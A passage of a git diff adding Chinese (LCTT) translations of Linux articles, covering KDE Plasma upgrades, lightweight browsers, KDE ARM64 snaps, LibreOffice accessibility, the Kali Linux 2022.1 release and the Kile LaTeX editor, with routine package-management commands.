19.12.3。所以,在它的整个生命周期中,它不会收到最新的 KDE 更新。所以,从技术上讲,你可以添加上述 PPA 并安装 KDE Plasma 5.24。但我不建议这样做,因为不兼容的软件包框架可能会导致系统不稳定。 + +所以,建议你使用 Kubuntu 21.10 和上述的 Backports PPA 或者使用 KDE Neon 来体验最新的 Plasma 桌面。 + +### 如何卸载 + +在任何时候,如果你想回到 KDE Plasma 桌面的原始版本,那么你可以安装 `ppa-purge` 并删除 PPA,接着刷新软件包。 + +打开一个终端,依次执行以下命令。 + +``` +sudo apt install ppa-purge +sudo ppa-purge ppa:kubuntu-ppa/backports +sudo apt update +``` + +当命令完成,重启你的系统。 + +### 结束语 + +我希望这个快速指南能让你从不同的使用情况下全面升级到 KDE Plasma 5.24。希望你能在没有任何错误的情况下完成升级。 + +请在下面的评论栏里告诉我进展如何。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/kde-plasma-5-24-kubuntu-21-10/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://kde.org/announcements/plasma/5/5.24.0/ +[3]: tmp.iA5hKjVLOx#how-to-install-kde-plasma-5-24-in-kubuntu-21-10-1 +[4]: tmp.iA5hKjVLOx#how-to-install-kde-plasma-5-24-in-ubuntu-21-10-alongside-gnome +[5]: tmp.iA5hKjVLOx#can-i-install-kde-plasma-5-24-in-ubuntu-20-04-lts +[6]: tmp.iA5hKjVLOx#how-to-uninstall +[7]: https://www.debugpoint.com/wp-content/uploads/2022/02/Add-the-PPA.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/02/Check-the-latest-KDE-Plasma-5.24-packages-before-upgrade.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/02/KDE-Plasma-5.24-in-Kubuntu-21.10-1024x579.jpg +[10]: https://t.me/debugpoint +[11]: https://twitter.com/DebugPoint +[12]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[13]: https://facebook.com/DebugPoint diff --git a/published/202202/20220214 10 Open Source Lightweight Web Browsers for Linux.md b/published/202202/20220214 10 Open Source Lightweight Web Browsers for Linux.md new file mode 100644 index 0000000000..3cd23634ca --- /dev/null +++ b/published/202202/20220214 10 Open Source Lightweight Web Browsers for Linux.md @@ -0,0 +1,211 @@ +[#]: subject: "10 Open Source Lightweight Web Browsers for Linux" +[#]: via: "https://itsfoss.com/lightweight-web-browsers-linux/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14293-1.html" + +10 个适用于 Linux 的开源轻量级网页浏览器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/21/171334t8u7nan785bt04e2.jpg) + +[有很多适用于 Linux 的网页浏览器][1],其中很多都是基于 [Chromium][2],但我们也有一个 [不基于 Chromium 的浏览器][3] 的列表。 + +最近,一位读者要求推荐一款轻量级网页浏览器,因此我专门做了一些快速实验。以下是我的发现。 + +### 适用于 Linux 的轻量级网页浏览器 + +我没有进行任何基准测试,因为可能适用于一个系统的东西可能不适用于其他系统。这篇文章是基于我的经验和观点。 + +还有一点需要注意的是,一些轻量级网页浏览器的扩展功能可能有限。如果你依赖账户同步等功能并使用大量的浏览器扩展,这些浏览器可能无法满足你的需要。但是,你仍然可以尝试使用其中一些作为你的辅助浏览器。 + +还有一件事!这不是一个排名表。排名第二的浏览器不应该被认为比排名第五的更好。 + +> 注意: +> +> 浏览器是通往很多东西的通道。你不应该使用一个不积极开发或仅由一个开发商维护的晦涩的网页浏览器,尤其用于银行和购物。在这种情况下,坚持使用主流浏览器,如 Firefox、Brave、Vivaldi、Chrome/Chromium 更好。 + +#### 1、Viper(蝰蛇) + +![Viper][4] + +该浏览器专注于隐私、极简主义和定制,已成为一个强大的轻量级浏览器,在这里你可以进行你想要的一切搜索。在我看来,它是一个必不可少的浏览器,具有标签休眠支持、安全自动填写管理、全屏支持等基本功能。 + +这不是一个普通的浏览器,但如果你是一个极简主义的粉丝,也许这个浏览器适合你。 + +- 下载:[Viper][5] + +#### 2、Nyxt + +![Nyxt][8] + +“黑客的强力浏览器” 是 [Nyxt][9] 的官方网页对它自己的描述;说实话,它很不错。 + +尽管它不是唯一面向键盘的网页浏览器;它的独特之处在于,你可以在这个浏览器中覆盖和重新配置每一个类、方法和函数。它也有一个内置的命令行工具。难怪它被称为“黑客的强力浏览器”。 + +Nyxt 使用的是一个简单的计算机编程环境,它接受单一的用户输入,执行它们,并将结果返回给用户;就像最著名的 [REPL(读取-评估-打印循环)][10] 一样。 + +- 下载:[Nyxt][39] + +#### 3、Lynx(猞猁) + +![Lynx][11] + +我肯定会说这是为 [命令行][12] 爱好者准备的,因为这个神奇的浏览器可以让你 [从你的 Linux 终端上网][13]。没错!你可以在你的终端中启动它来轻松访问互联网。 + +当然,它消耗的资源更少,但你不应该指望获得从 Firefox 或 Brave 等常规浏览器中相同的浏览体验。 + +你知道吗?这是一个最古老的网络浏览器,它始于 1992 年,至今仍在维护。 + +- [Lynx][14] + +#### 4、SeaMonkey(海猴) + +![SeaMonkey][15] + +这个是另一个多合一的导航器,但 SeaMonkey 包括什么呢?SeaMonkey 增加了电子邮件客户端、网站内容源阅读器、HTML 编辑器、IRC 聊天和网络开发工具等特性,以及其他一些特性。 + +我想说 [SeaMonkey][16] 是 Firefox 的一个不可思议的复刻,就像 [Librewolf][17]。正如其网页所说,它使用了许多与 Mozilla Firefox 相同的源代码。 + +- 下载:[SeaMonkey][18] + +#### 5、Waterfox(水狐) + +![Waterfox][19] + +说实话,当我在个人电脑上试用 Waterfox 浏览器时,我对它的性能和速度感到震惊。我是一个信奉极简主义的人,我想这就是为什么我这么喜欢它。这个浏览器的一个了不起的特点是,它支持 Chrome、Firefox 和 Opera 的扩展。 + +因此,如果你想尝试一个新的快速、安全的浏览器,而又不离开你最喜欢的扩展,[Waterfox][20] 将是一个完美的选择。 + +- 下载:[Waterfox][21] + +#### 6、Pale Moon(苍月) + +![Pale Moon][22] + +这是另一个基于 Firefox 代码的网页浏览器,具有隐私、安全、完全可定制和针对现代处理器优化等特点。对我来说,一个看起来很有趣的特点是,它继续支持 NPAPI 插件,如 Silverlight、Flash 和 Java。这些插件在其他浏览器(如 Chrome 和微软 Edge)中一直没有得到维护。 + +在这种情况下,如果你喜欢的一些网页因 Flash 等插件的停止维护而受到影响,也许 [Pale Moon][23] 可以让它们重新恢复。 + +- 下载:[Pale Moon][24] + +#### 7、Falkon + +![Falkon][25] + +[Falkon][26] 是一个 KDE 浏览器,它与一个叫做 [QtWebEngine][27] 的技术一起工作,该技术提供了一个渲染引擎。它包括侧边栏中的书签和历史记录等功能,并默认带来了一个广告拦截器,它可以帮助你防止来自网站的追踪。 + +顺便说一句,这个浏览器最初只是为了教育目的而开始开发的;但现在,你可以在你的日常生活中使用它。我邀请你尝试它,并与我们分享你的经验。 + +- 下载:[Falkon][28] + +#### 8、Epiphany(顿悟) + +![GNOME Web][29] + +这个导航器通常被称为 “GNOME Web”,它是一个专注于 Linux 体验的原生网页浏览器,它有一个简单的用户浏览界面。当然,简单并不意味着功能不强。 + +它显示网页的技术类似于 Mozilla 项目中使用的布局引擎,它最重要的一些特点是: + + * 可定制的用户界面 + * 有 60 多种语言版本 + * Cookie 管理 + * 用于执行命令、Python 脚本、分组标签、选择你的样式表的扩展 + +如果你正在寻找一个简单而简约的浏览器,并且专门针对 Linux,那就是它了。 + +- 下载:[GNOME Web][30] + +#### 9、Otter(水獭) + +![Otter][31] + +如果你还记得几年前 [Opera][32] 12 的模样,这个浏览器会让你想起这个用户界面。这个浏览器的主要目的是为实验用户提供强大的工具,而不影响他们继续浏览。 + +我注意到的一些有趣和重要的事情是,社区对持续贡献源代码的承诺,以改进这个浏览器。 + +如果你在 Linux 中浏览时正在寻找一个快速、安全和强大的浏览器,这个是一个不错的选择。 + +- 下载:[Otter][33] + +#### 10、Midori(日文的“翠绿”) + +![Midori][34] + +以前有一个流行的浏览器叫 Midori,但在它与 [Astian 项目][35] 合并后,它的发展方向发生了变化。然而,由于 Snap 商店的存在,你仍然可以在你的 Linux 发行版上安装它。 + +它的三个最强大的功能是: + + * 支持 Adblock 过滤列表 + * 隐私浏览 + * 管理 Cookie 和脚本 + +但真正让我震惊的是,它可以让你瞬间打开 1000 个标签,并能轻松创建网页应用;这后两个事实是来自 [它在 Snapcraft 的页面][36]。 + +- 下载:[Midori][36] + +### 结论 + +记住,找到完美的浏览器将取决于你的需要和资源。总的来说,这一切都要归结为适合你的东西。 + +使用 [轻量级应用程序][37] 是当你的系统在硬件方面处于低水平时获得更好的计算体验的一种方式。 + +我避开了其他一些浏览器,比如 [Brave 或 Vivaldi][38],因为我的重点是在 Linux 上不太流行的轻量级网页浏览器。如果你知道还有一些你经常使用的浏览器,请在评论区提到它们。 + +如果这篇文章对你有帮助,请花点时间在社交媒体上分享;你也可以对开源有所作为。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/lightweight-web-browsers-linux/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://itsfoss.com/install-chromium-ubuntu/ +[3]: https://itsfoss.com/open-source-browsers-linux/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Viper.png?resize=800%2C459&ssl=1 +[5]: https://github.com/LeFroid/Viper-Browser +[6]: https://itsfoss.com/min-an-open-source-web-browser-for-minimalists/ +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2018/02/min-web-browser-featured.jpeg?fit=800%2C450&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Nyxt.png?resize=800%2C459&ssl=1 +[9]: https://itsfoss.com/nyxt-browser/ +[10]: https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Lynx-2.png?resize=800%2C458&ssl=1 +[12]: https://itsfoss.com/gui-cli-tui/ +[13]: https://itsfoss.com/terminal-web-browsers/ +[14]: https://lynx.invisible-island.net/current/index.html +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/SeaMonkey-1.png?resize=800%2C459&ssl=1 +[16]: https://www.seamonkey-project.org/ +[17]: https://librewolf-community.gitlab.io/ +[18]: https://www.seamonkey-project.org/releases/ +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/waterfox-1.png?resize=800%2C459&ssl=1 +[20]: https://itsfoss.com/waterfox-browser/ +[21]: https://www.waterfox.net/ +[22]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/palemoon.png?resize=800%2C459&ssl=1 +[23]: https://www.palemoon.org/ +[24]: https://linux.palemoon.org/ +[25]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/falkon-1.png?resize=800%2C459&ssl=1 +[26]: https://itsfoss.com/falkon-browser/ +[27]: https://wiki.qt.io/QtWebEngine +[28]: https://www.falkon.org/download/ +[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/GNOME-Web.png?resize=800%2C458&ssl=1 +[30]: https://wiki.gnome.org/Apps/Web +[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Otter.png?resize=800%2C459&ssl=1 +[32]: https://itsfoss.com/install-opera-ubuntu/ +[33]: https://github.com/OtterBrowser/otter-browser/blob/master/INSTALL.md +[34]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Midori.png?resize=800%2C458&ssl=1 +[35]: https://astian.org/en/midori-browser/ +[36]: https://snapcraft.io/midori +[37]: https://itsfoss.com/lightweight-alternative-applications-ubuntu/ +[38]: https://itsfoss.com/brave-vs-vivaldi/ +[39]: https://nyxt.atlas.engineer/ \ No newline at end of file diff --git a/published/202202/20220214 KDE-s Latest Move Will Help Raspberry Pi and PinePhone Pro Users Immensely.md b/published/202202/20220214 KDE-s Latest Move Will Help Raspberry Pi and PinePhone Pro Users Immensely.md new file mode 100644 index 0000000000..566cb1af4f --- /dev/null +++ b/published/202202/20220214 KDE-s Latest Move Will Help Raspberry Pi and PinePhone Pro Users Immensely.md @@ -0,0 +1,76 @@ +[#]: subject: "KDE’s Latest Move Will Help Raspberry Pi and PinePhone Pro Users Immensely" +[#]: via: "https://news.itsfoss.com/kde-apps-arm/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14276-1.html" + +KDE 的新进展将为树莓派和 PinePhone Pro 用户提供极大帮助 +====== + +> KDE 分享了它在应用开发方面的计划和迄今为止的进展。不但有新的应用发布,如 Falkon 3.2,在 ARM 平台方面也有有趣的进展。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-snapstore-arm64.png?w=1200&ssl=1) + +KDE 最近像往常一样分享了它的月度更新,介绍了最新的应用发展和进展。 + +虽然 [Falkon 3.2 版本][1] 是一个重要的升级,但还有其他几个 KDE 应用程序的更新/bug 修复。 + +然而,有一件有趣的事情。 + +KDE 开始为 ARM 平台提供应用程序了。 + +但是,这究竟是什么意思呢?让我们来看看! + +### KDE 应用于 ARM:一个令人兴奋的发展! + +你可以在各种仓库、Flatpak 和 Snap 商店中找到 KDE 应用程序。 + +而 KDE 选择了 Snap 商店来发布其第一个用于 ARM64 的 Snap 软件包。 + +换句话说,KDE 应用程序正在以 Snap 的方式进入 ARM 平台。 + +当然,对于一个应用程序来说,支持各种平台和各种发行版是有意义的,所有这些都在单一的商店提供。 + +第一个可用于 ARM64 的 Snap 软件包是 [kblocks][2]。 + +![][3] + +这是一个经典的掉落式积木游戏,它是一个有趣的游戏,也许对于 ARM 平台来说不算什么。 + +然而,如果你有树莓派或 PinePhone Pro,这意味着你可以期待有更多为 ARM 平台优化的 KDE 应用程序通过 Snap 商店提供。 + +### ARM 芯片的未来 + +考虑到 ARM 平台的早期发展,与现有的设备数量相比,我认为这是很好的进展。 + +就目前而言,树莓派用户和 PinePhone pro 用户可以立即从新的 KDE 应用程序中受益。 + +当我们开始看到更多的由 ARM 驱动的设备或笔记本电脑时,你可以期望大家都开始为 ARM 做准备。 + +希望在时机成熟时,Linux 平台及其应用程序将为 ARM 平台做好准备。 + +我们应该避免出现像苹果 M1 系列那样的情况,在没有适当的应用生态系统可用的情况下,性能会有很大的不同。 + +关于 KDE 应用程序以 Snap 包支持 ARM64,你怎么看?假设你有一个树莓派或 PinePhone Pro,你对它的未来有什么期待? + +请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kde-apps-arm/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/falkon-browser-3-2-release/ +[2]: https://snapcraft.io/kblocks +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kblocks.jpg?w=754&ssl=1 diff --git a/published/202202/20220215 5 ways LibreOffice supports accessibility.md b/published/202202/20220215 5 ways LibreOffice supports accessibility.md new file mode 100644 index 0000000000..b4f8e5e399 --- /dev/null +++ b/published/202202/20220215 5 ways LibreOffice supports accessibility.md @@ -0,0 +1,105 @@ +[#]: subject: "5 ways LibreOffice supports accessibility" +[#]: via: "https://opensource.com/article/22/2/libreoffice-accessibility" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14298-1.html" + +LibreOffice 支持无障碍辅助的 5 种方式 +====== + +> 试试 LibreOffice 中的这些无障碍功能之一。你可能会发现更好的或替代的方式来完成日常工作。 + +![](https://img.linux.net.cn/data/attachment/album/202202/23/121309ow8jcu6f0d60eds8.jpg) + +LibreOffice.org 是我首选的生产力套件,我在过去已经介绍了我如何将它作为一个 [图形化办公套件][2] 以及 [终端命令][3] 使用。 + +在这篇文章中,我想着重介绍 LibreOffice 如何支持使用无障碍辅助技术的人。 + +### 鼠标 + +鼠标是一项重要的发明,但它并不是对每个人都同样有效。例如,那些不能在屏幕上看到鼠标指针的人,或者不能在他们的桌子上实际操作鼠标的人,从鼠标中获益不多。 + +为了考虑到人们与电脑互动方式的不同,你可以在没有鼠标的情况下使用 LibreOffice。与应用中的大多数无障碍功能一样,这个功能对任何人都有帮助。即使你自己是一个鼠标用户,有时你也不想把你的手从键盘上移开。能够在“打字模式”下触发特定的 LibreOffice 动作,对于忙碌的打字员来说真的很方便。 + +你可以使用 `Alt` 键和菜单名称中的一个触发字母来打开 LibreOffice 主菜单中的每一个项目。在默认情况下,你不会看到这些触发字母,但当你按下 `Alt` 键时,它们就会出现。 + +![LibreOffice Writer menus with underlines][4] + +要打开文件File菜单,按住 `ALT+F`。要打开格式Format菜单,按住 `ALT+O`。当菜单被打开后,你就可以释放按键。 + +在你打开一个菜单后,该菜单中的每个项目都有一个触发字母,或者你可以使用键盘上的**箭头**键导航到该项目并按下**回车**。 + +要关闭一个菜单而不做任何事情,按 `Esc` 键。 + +### 不用鼠标就能改变一个字体 + +LibreOffice 界面中的所有东西都可以从菜单中获得,即使你认为它只是工具栏中的一个元素。例如,你通常可能会将鼠标移动到格式化工具栏来改变字体,但你也可以通过选择文本,然后打开格式Format菜单并选择字符Character来打开字符对话框来改变字体。你可以使用 `Tab`、**箭头** 和 **回车** 键来浏览这个对话框。 + +这里需要注意的是,你可以在一个应用中使用许多不同的路径来达到同一个目标。每个场景都可能有不同的最佳路径,所以在处理任务时不要想得太线性。 + +### 常见的快捷方式 + +这里有一些 LibreOffice Writer 的快捷键: + + * `F2`:公式栏 + * `Ctrl+F2`:插入字段 + * `F3`:自动文本 + * `F5`: 打开/关闭导航 + * `Shift+F5`:将光标移到上次保存文件时的位置 + * `Ctrl+Shift+F5`:打开导航,进入页面 + * `F7`:拼写 + * `F8`:同义词 + +以下是电子表格的快捷键: + + * `Ctrl+Home`:返回到 A1 单元格 + * `Ctrl+End`:移到最后一个包含数据的单元格 + * `Home`:将光标移到当前行的第一个单元格 + * `End`:将光标移到当前行的最后一个单元格 + * `Shift+Home`:选择从当前单元格到当前行的第一个单元格的单元格 + +LibreOffice 的文档非常丰富,通过按键盘上的 `Alt+H` 或 `F1` 可以很容易地获取。 + +### 无障碍设置 + +关于更多的无障碍设置,请进入工具Tools菜单,选择选项Options。在选项对话框中,在左边的栏目中展开 LibreOffice 类别,然后点击无障碍Accessibility。 + +选项包括: + + * **在只读文本文件中使用文本选择光标**:这允许你在只读文档中移动,就像你可以编辑它一样,限制了你实际可以做的选择和复制文本。 + * **允许动画图像**:不是每个人都希望在工作时在他们的文档中出现移动的图像。你可以在这里进行调整。 + * **允许动画文本**:与图像一样,动画文本样式对一些人来说是有趣的,而对另一些人来说则是分散注意力或令人困惑的。 + +也有高对比度主题的选项。如果你在你的操作系统上使用高对比度模式,LibreOffice 会自动检测并改变它的主题来匹配。 + +### 键盘快捷方式 + +你可以通过设置自己的键盘快捷键来定制你与 LibreOffice 的交互方式。进入工具Tools菜单,选择自定义Customize(或者直接按 `Alt+T`,然后按 `C`)。 + +选择键盘Keyboard标签,必要时按**箭头**键或用鼠标点击它(如果你还在使用鼠标)。 + +### 对所有人开放 + +让开源的应用无障碍化有利于所有的用户。通过尝试 LibreOffice 中的无障碍功能,你可能会发现更好的或替代性的方法来完成日常任务。无论你是否“需要”该功能,无障碍功能提供了选择。试试其中的一些,因为你可能会发现你喜欢的东西。如果你有一个 LibreOffice(或任何你喜欢的开源应用)似乎没有提供的要求,在其错误跟踪系统中提交一个功能请求来让该项目知道。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/libreoffice-accessibility + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) +[2]: https://opensource.com/article/21/9/libreoffice-tips +[3]: https://opensource.com/article/21/3/libreoffice-command-line +[4]: https://opensource.com/sites/default/files/uploads/libreoffice_menu_with_underlines.jpg (LibreOffice Writer menus with underlines) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/published/202202/20220215 Kali Linux 2022.1 Release Introduces a New -Everything- Offline ISO.md b/published/202202/20220215 Kali Linux 2022.1 Release Introduces a New -Everything- Offline ISO.md new file mode 100644 index 0000000000..97dea2c7a6 --- /dev/null +++ b/published/202202/20220215 Kali Linux 2022.1 Release Introduces a New -Everything- Offline ISO.md @@ -0,0 +1,112 @@ +[#]: subject: "Kali Linux 2022.1 Release Introduces a New “Everything” Offline ISO" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-1-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14280-1.html" + +Kali Linux 2022.1 发布:引入了新的“全都有”离线 ISO +====== + +> Kali Linux 在 2022 年的第一次升级带来了明显的视觉更新和一个新的“全都有”离线 ISO。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kali-linux-2022-1-release.jpg?w=1200&ssl=1) + +2022 年的第一个 Kali Linux 版本来了。 + +Kali Linux 在 2021 年做了许多改进,包括 Linux 内核升级、新的黑客工具、实时虚拟机支持([Kali Linux 2021.3][1])、苹果 M1 支持等等。 + +让我们来看看 Kali Linux 2022.1 版本中的主要亮点。 + +### Kali Linux 2022.1 有什么新内容? + +从这个版本开始,Kali Linux 团队决定对他们每年的 20xx.1 版本(每年的第一个版本)进行明显的视觉更新。 + +因此,Kali Linux 2022.1 的更新带来了视觉上的刷新和其他新的增加和改变。 + +#### 主题更新 + +![][2] + +随着最新的升级,你可以看到一些新的桌面、登录和启动屏幕的壁纸。 + +安装程序的主题也得到了视觉上的更新,使其具有现代的外观。 + +总的来说,通过主题更新、新壁纸和细微的布局变化,你可以期待从 UEFI/BIOS 启动菜单到桌面的统一用户体验。 + +![][3] + +浏览器的登录页面也有了视觉上的更新,让你可以访问 Kali 文档和工具,以及通常的搜索功能。 + +![][4] + +#### 新的 “全都有” ISO + +Kali Linux 现在将提供一个新的分发方式,提供一个独立的离线 ISO,包括了 “kali-linux-everything” 软件包的所有内容。 + +这个产品的目的是让你下载一个离线 ISO,而不需要在安装后单独下载软件包。 + +它应该对偏远地区的教育机构使用 Kali Linux 进行道德黑客学习很有帮助。 + +考虑到它是一个大的 ISO 文件(大小达 9.4GB),你只能通过 BitTorrent 找到这个 ISO。 + +#### 对 VMware 的 i3 桌面的改进 + +如果你在带有 i3 桌面环境的虚拟机上使用 Kali Linux,一些客户功能是默认禁用的。 + +现在,这些功能,如拖放、复制/粘贴已经默认启用,可以给你更好的开箱即用的 i3 虚拟机的体验。 + +#### 其他改进 + +除了关键的新增功能外,Kali Linux 2022.1 还带来了新的工具和整体改进。其中一些值得强调的包括。 + + * 在 Kali 设置屏幕中使用带有合成语音的无障碍性改进。 + * 新的工具,如 dnsx、email2phonenumber、naabu、proxify 等等。 + * 可用于 ARM64 架构的新软件包,包括 feroxbuster 和 ghidra。 + * [Linux 内核 5.15][5]。 + * 你现在可以使用 kali-tweaks 中的设置来启用传统的算法、密码和 SSH。 + * 对 shell 提示符进行了调整,删除了骷髅头图标、退出码和后台进程数量的显示。 + +总的来说,这个版本对桌面和树莓派的重大改进值得期待。 + +你可以通过 [官方公告][6] 了解更多细节。 + +### 下载 Kali Linux 2022.1 + +你可以前往其 [官方网站][7],选择你打算下载的平台。 + +值得注意的是,“全都有” 的版本只能通过种子下载。所以,你得用 [Torrent 客户端][8]。 + +如果你已经使用 Kali Linux,你可以使用以下命令进行快速更新: + +``` +echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list +sudo apt update && sudo apt -y full-upgrade +cp -rbi /etc/skel/. ~ +[ -f /var/run/reboot-required ] && sudo reboot -f +``` + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-1-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/kali-linux-2021-3-release/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kali-linux-desktop-wallpaper.jpg?w=1360&ssl=1 +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/boot-theme-kali-linux.jpg?resize=1568%2C588&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/firefox-home-page-kali-linux.jpg?w=1200&ssl=1 +[5]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[6]: https://www.kali.org/blog/kali-linux-2022-1-release/ +[7]: https://www.kali.org/get-kali/ +[8]: https://itsfoss.com/best-torrent-ubuntu/ +[9]: https://www.kali.org/ diff --git a/published/202202/20220215 Kile- An Interactive Cross-Platform LaTeX Editor by KDE.md b/published/202202/20220215 Kile- An Interactive Cross-Platform LaTeX Editor by KDE.md new file mode 100644 index 0000000000..5b7e78c0be --- /dev/null +++ b/published/202202/20220215 Kile- An Interactive Cross-Platform LaTeX Editor by KDE.md @@ -0,0 +1,119 @@ +[#]: subject: "Kile: An Interactive Cross-Platform LaTeX Editor by KDE" +[#]: via: "https://itsfoss.com/kile/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14295-1.html" + +Kile:来自 KDE 的交互式跨平台 LaTeX 编辑器 +====== + +> Kile 是 Linux 上最好的 LaTeX 编辑器之一,来自 KDE。让我们来看一看它提供了什么? + +你可以用 TeX/LaTeX 编辑器处理各种文件。不仅仅限于科学研究,你还可以添加你的代码、开始写书(学术/创作)、或者起草文章。 + +如果你经常处理 LaTeX 文档,一个具有预览选项和若干功能的交互式解决方案应该会很方便。 + +Kile 是 KDE 提供选择之一,可用于 Linux 和其他平台。事实上,它是 [可用于 Linux 的最佳 LaTeX 编辑器][1] 之一,我们决定重点介绍一下它。 + +### 一个开源的集成 LaTeX 编辑器 + +![][2] + +Kile 可能不是最受欢迎的选择,但它确实因其提供的东西而脱颖而出。 + +如果你正在寻找一个简单的 LaTeX 编辑器,它可能不是完美的选择。然而,它尽力为你提供友好的体验,同时从一开始就为你提供指导。 + +让我重点强调以下特点。 + +### Kile 的特点 + +![][3] + +正如我提到的,Kile 是一个功能丰富的 LaTeX 编辑器。如果你是 TeX/LaTeX 文档的新手,它可能会让你不知所措,但它仍然值得探索。 + +其主要特性包括: + + * 设置向导可以轻松开始使用 LaTeX 编辑器。 + * 可用的模板可以节省文件大纲的时间。 + * 自动完成 LaTeX 命令。 + * 在不离开窗口的情况下,一键编译和预览你的文档。 + * 上百种预设模式来定义文档的类型(JSON、R 文档、VHDL、HTML 等)。 + * 日志查看器。 + * 转换文档的能力。 + * 添加/删除和转换 PDF 文件的 PDF 向导工具。 + * 反向和正向搜索功能。 + * 创建项目以组织文件集合。 + * 大量的 LaTeX 选项,无需键入任何东西即可添加所需的命令(如创建一个列表,添加一个数学函数等)。 + * 在各章或各节中轻松导航。 + * 使用小窗口预览浏览整个文件(如果文件太大需要滚动)。 + +![][4] + +除了这些,你还可以配置外观,调整键盘快捷键,找到各种编码支持等。 + +此外,设置向导(以及应用内的其他向导)的存在使用户体验变得轻而易举。 + +例如,以下是你第一次启动该应用时: + +![][5] + +它将检查任何配置问题,帮助你确保无缝体验。 + +![][6] + +设置完成后,它将迅速提示你可用的模板,让你开始: + +![][7] + +因此,指导性的设置和上述所有的功能应该构成一个出色的 LaTeX 编辑体验。 + +### 在 Linux 中安装 Kile + +你应该可以在默认的 Linux 仓库和软件中心找到 Kile。对于 KDE,你应该看到它被列在“发现”中。 + +不幸的是,它不提供 Flatpak 或 Snap 包。所以,你将不得不依靠从仓库中获得的标准软件包。 + +如果你依赖终端(基于 Ubuntu),你可以输入以下命令安装: + +``` +sudo apt install kile +``` + +对于 Windows 用户,你可以在 [微软商店][8] 中找到它。 + +如果你感到好奇,你可以查看 [源代码][9] 或访问官方网站。 + +- [Kile][10] + +### 总结 + +作为一个 